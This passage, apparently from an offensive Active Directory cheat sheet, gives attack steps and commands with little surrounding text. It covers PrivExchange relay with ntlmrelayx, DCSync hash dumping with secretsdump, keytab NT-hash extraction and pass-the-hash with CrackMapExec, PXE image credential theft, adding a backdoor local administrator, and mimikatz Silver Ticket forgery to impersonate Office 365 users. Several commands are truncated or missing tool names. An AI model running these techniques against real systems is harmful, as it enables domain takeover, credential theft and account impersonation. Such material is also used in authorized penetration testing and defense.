  2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket). -t ldap://dc01.domain.local --escalate-user username
  3. Subscription to the push notification feature (using or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

    python -ah xxxxxxx -u xxxx -d xxxxx
    python -ah mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
    powerPriv -targetHost corpExch01 -attackerHost -Version 2016
  4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

    python xxxxxxxxxx -just-dc
    python lab/buff@ -ntds ntds -history -just-dc-ntlm
  5. Clean your mess and restore a previous state of the user's ACL

    python --restore ../aclpwn-20190319-125741.restore

Alternatively you can use the Metasploit module

use auxiliary/scanner/http/exchange_web_server_pushsubscription

Alternatively you can use an all-in-one tool : Exchange2domain.

git clone 
python -ah attackterip -ap listenport -u user -p password -d -th DCip MailServerip
python -ah attackterip -u user -p password -d -th DCip --just-dc-user krbtgt MailServerip

Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.

$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[26] Service principal: host/COMPUTER@DOMAIN
	 KVNO: 25
	 Key type: 23
	 Key: 6b3723410a3c54692e400a5862256e0a
	 Time stamp: Oct 07,  2019 09:12:02

On macOS you can use bifrost.

./bifrost -action dump -source keytab -path test

Connect to the machine using the account and the hash with CME.

$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "6b3723410a3c54692e400a5862256e0a" -d "DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 6b3723410a3c54692e400a5862256e0a  

PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

  • Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.

  • Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

    net user hacker Password123! /add
    net localgroup administrators /add hacker
  • Extract the pre-boot image (wim files) using PowerPXE.ps1 ( and dig through it to find default passwords and domain accounts.

    # Import the module
    PS > Import-Module .\PowerPXE.ps1
    # Start the exploit on the Ethernet interface
    PS > Get-PXEcreds -InterfaceAlias Ethernet
    PS > Get-PXECreds -InterfaceAlias « lab 0 » 
    # Wait for the DHCP to get an address
    >> Get a valid IP adress
    >>> >>> DHCP proposal IP address:
    >>> >>> DHCP Validation: DHCPACK
    >>> >>> IP address configured:
    # Extract BCD path from the DHCP response
    >> Request BCD File path
    >>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
    >>> >>> TFTP IP Address:
    # Download the BCD file and extract wim files
    >> Launch TFTP download
    >>>> Transfer succeeded.
    >> Parse the BCD file: conf.bcd
    >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
    >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
    >> Launch TFTP download
    >>>> Transfer succeeded.
    # Parse wim files to find interesting data
    >> Open LiteTouchPE_x86.wim
    >>>> Finding Bootstrap.ini
    >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
    >>>> >>>> UserID = MdtService
    >>>> >>>> UserPassword = Somepass1

Impersonating Office 365 Users on Azure AD Connect


  • Obtain NTLM password hash of the AZUREADSSOACC account

    mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
  • AAD logon name of the user we want to impersonate (userPrincipalName or mail)
  • SID of the user we want to impersonate


Create the Silver Ticket and inject it into Kerberos cache:

mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/ /service:HTTP /ptt" exit

Launch Mozilla Firefox, go to about:config


Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.


You can’t perform that action at this time.